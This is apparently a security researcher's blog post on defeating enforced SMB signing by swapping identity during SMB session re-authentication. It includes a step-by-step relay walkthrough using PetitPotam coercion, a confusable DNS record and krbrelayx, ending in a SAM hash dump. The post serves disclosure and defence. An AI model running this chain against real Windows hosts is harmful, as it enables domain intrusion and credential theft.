whoami // aasni

Defeating enforced SMB signing: a note

2026-10-19 . #smb #relay #ntlm #kerberos #cve-2025-33073 #cve-2025-58726 #cve-2026-26128 #cve-2026-24294

Corrections are very welcome; I am almost certainly missing nuance and prior art.

Short version: SMB signing is the mitigation everyone recommends against the whole relay class of attacks (NTLM or Kerberos). It is usually treated as a brick wall: turn it on, and relay is dead. Right?

the Padme "right?" meme

Current state of the art (short)

Relay: an attacker captures an authentication (NTLM or Kerberos) and forwards it to a service, acting as the victim. Reflection is the case where it is sent back to the machine it came from.

Enforced SMB signing is the usual way to stop relay to SMB, whatever the authentication protocol. Without the session key, the attacker cannot sign the traffic, so a signing-required target refuses the session. Domain Controllers require SMB signing by default.

The recent public work reaches the same wall and stops there, for SMB:

Everything below stands on that work.

The SMB signing angle

SMB lets a client re-authenticate an existing session. When it does, the server keeps the original signing key (it does not create a new one), and it does not re-check that the new identity matches the old one. This is documented behavior, not a flaw I found - Microsoft’s own SMB specification spells it out: “the existing Session.SessionKey will be retained” (MS-SMB2, section 3.3.5.5.2), and the server only regenerates the signing key when the request “is not for session reauthentication” (MS-SMB2, section 3.3.5.5.3, step 7), so on re-authentication the original key is kept.

So the idea is simple: open an SMB session as a low-privilege account you control (so you can sign it), then re-authenticate that same session with the relayed authentication of a privileged account. The session’s identity becomes privileged, but signing keeps using the key you control, so a target that requires signing still accepts it.

On any host that requires SMB signing, Domain Controllers included, a relayed privileged authentication yields a privileged session that is still signed with the low-privilege key. Enforced signing did not stop it.

What it implies today

With enforced signing defeated, that barrier is gone: where a relay’s other preconditions are met, a coerced or captured authentication (NTLM or Kerberos) can reach a signing-required SMB server again - reflective relay, where the victim and the target are the same host, being one case. So “this target enforces signing, relay is dead” is no longer automatically true, on any host that does not also enforce a matching identity on re-authentication - Domain Controllers first.

Limits, so this is not over-read:

A note on patching

This looks like it is being fixed. A same-user check on re-authentication shows up on Windows 11 24H2 / Server 2025 around September 2026, and similar changes seem to have reached the other supported Windows versions, servers and workstations alike, in the weeks after. I have not traced every build, and one or two end-of-life versions may never receive it. So it is probably better read as a patch window than a permanent gap: a host that is current on updates is likely no longer affected, while hosts behind that wave still are. I could not find a CVE for this specific change, in Microsoft’s update guide, the KB notes, or public trackers; it reads as silent hardening rather than a tracked fix. Corrections welcome.

Tools

Two small things, for authorized testing only:

What follows is an example. Two low-privilege domain accounts the attacker controls: user1 does the real work (recon, the DNS record on the DC, the coercion, and the relay’s base session); user2 is only the second identity the step 1 viability check needs to test the cross-user swap. The target is FS01 at 10.0.0.10; the DC that holds the AD-integrated DNS zone is at 10.0.0.5; the relay listens on 10.0.0.50.

1. Recon - the one precondition to confirm first is that the target enforces SMB signing (signing:True in both outputs below). That is the wall this technique walks through; if signing were not enforced, a plain relay would already work and none of this would be needed. The NetExec module checks viability directly, and patchcheck.py then places the host in the patch window - here the first patch (CVE-2025-33073) is already in, so the CMTI name is dead and the coercion goes through a Unicode confusable name instead.

$ nxc smb 10.0.0.10 -u user1 -p Passw0rd1 -d AD.LOCAL -M reauth_swap -o PROBE_USER=user2 PROBE_PASS=Passw0rd2

SMB          10.0.0.10  445  FS01  [*] Windows Server 2022 Build 20348 x64 (name:FS01) (domain:ad.local) (signing:True)
SMB          10.0.0.10  445  FS01  [+] ad.local\user1:Passw0rd1
REAUTH_SWAP  10.0.0.10  445  FS01  VULNERABLE - enforced SMB signing bypassable
REAUTH_SWAP  10.0.0.10  445  FS01  Next step: https://blackfield.ch/blog/defeating-enforced-smb-signing/
$ python3 patchcheck.py 'AD.LOCAL/user1:Passw0rd1@10.0.0.10' --probe 'user2:Passw0rd2'

[*] 10.0.0.10:445   FS01   build 10.0.20348.2402   signing:True   role:member
    probe #4  user1 -> user2   STATUS_SUCCESS

    #1  CVE-2025-33073         client reflection (CMTI)        patched
    #2  CVE-2025-58726         loopback source-IP (GhostSPN)   absent
    #4  same-user re-auth      (Sep 2026, feature flag)        absent

[+] RCE   33073 patched, 58726 absent
    coercion   Unicode (CMTI dead)
    relay      remote
    signing    re-auth signing bypass required

2. Point a DNS record at the relay - build the coercion name for the target, add an AD-integrated DNS record for it on the DC, and confirm it resolves to the relay. The Unicode name carries a confusable letter (and the dots are confusables too), so it is built in a sub-shell and never typed by hand; I do not print it literally below.

$ NAME="$(python3 coerce_name.py fs01.ad.local --mode unicode --raw)"   # confusable name for fs01.ad.local

$ bloodyAD -u user1 -p Passw0rd1 -d ad.local --host dc01.ad.local add dnsRecord "$NAME" 10.0.0.50
[+] record added successfully

$ dig +noidnin +noidnout +short "$NAME.ad.local" @10.0.0.5
10.0.0.50

3. Start the relay with the signing bypass - the base session is user1, whose signing key you control. Leave it running.

$ sudo python3 krbrelayx.py -t smb://10.0.0.10 --reauth-bypass 'AD.LOCAL/user1:Passw0rd1'
[*] Protocol Client SMB loaded..
[*] Running in attack mode to single host
[*] Setting up SMB Server
[*] Servers started, waiting for connections

4. Coerce the target - it authenticates to the relay, which reflects it back onto FS01 while keeping user1’s signing key.

$ python3 PetitPotam.py -d AD.LOCAL -u user1 -p Passw0rd1 "$NAME" 10.0.0.10
[*] Connecting to ncacn_np:10.0.0.10[\PIPE\lsarpc]
[*] Connected!
[*] Sending EfsRpcOpenFileRaw!
[*] Attack worked!

The relay window then shows the swap and a SYSTEM-level dump:

[*] SMBD: Received connection from 10.0.0.10
[*] [reauth-bypass] base session user1 signingKey=6b5e6027d709724bf5298a3335173119
[*] [reauth-bypass] reflected re-auth status=0x00000000
[*] [reauth-bypass] SUCCESS - privileged session kept, signing with the low-priv key
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:cf3a5525ee9414229e66279623ed5c58:::
[*] Done dumping SAM hashes for host: 10.0.0.10

5. Cleanup - remove the DNS record and stop the relay.

$ bloodyAD -u user1 -p Passw0rd1 -d ad.local --host dc01.ad.local remove dnsRecord "$NAME" 10.0.0.50
[-] record removed successfully

Repository: github.com/aas-n/reauthx.

Credits and references

I am not the person who did the hard work here. I connected dots that others drew, and I am small next to the researchers who actually move this field. Thanks in particular to:

References:

<- back to posts